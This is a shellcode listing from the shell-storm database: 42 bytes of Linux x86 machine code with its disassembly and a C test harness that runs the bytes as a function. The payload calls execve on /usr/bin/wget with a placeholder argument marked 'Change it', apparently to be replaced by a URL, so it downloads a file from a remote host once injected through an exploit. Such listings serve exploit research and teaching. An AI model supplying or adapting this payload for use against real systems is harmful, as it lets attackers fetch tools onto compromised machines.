/*
Title:   Linux x86 execve("/usr/bin/wget", "aaaa"); - 42 bytes
Author:  Jonathan Salwan <submit AT shell-storm.org>
Web:  http://www.shell-storm.org
Twitter: http://twitter.com/shell_storm 

!Database of Shellcodes http://www.shell-storm.org/shellcode/

08048054 <.text>:
 8048054: 6a 0b                 push   $0xb
 8048056: 58                    pop    %eax
 8048057: 99                    cltd  
 8048058: 52                    push   %edx
 8048059: 68 61 61 61 61        push   $0x61616161
 804805e: 89 e1                 mov    %esp,%ecx
 8048060: 52                    push   %edx
 8048061: 6a 74                 push   $0x74
 8048063: 68 2f 77 67 65        push   $0x6567772f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 68 2f 75 73 72        push   $0x7273752f
 8048072: 89 e3                 mov    %esp,%ebx
 8048074: 52                    push   %edx
 8048075: 51                    push   %ecx
 8048076: 53                    push   %ebx
 8048077: 89 e1                 mov    %esp,%ecx
 8048079: cd 80                 int    $0x80
 804807b: 40                    inc    %eax
 804807c: cd 80                 int    $0x80
*/

#include <stdio.h>

char sc[] =  "\x6a\x0b\x58\x99\x52"
  "\x68\x61\x61\x61\x61" // Change it
  "\x89\xe1\x52\x6a\x74"
  "\x68\x2f\x77\x67\x65"
  "\x68\x2f\x62\x69\x6e"
  "\x68\x2f\x75\x73\x72"
  "\x89\xe3\x52\x51\x53"
  "\x89\xe1\xcd\x80\x40"
  "\xcd\x80";

int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(sc));
 (*(void(*)()) sc)();
    
return 0;
}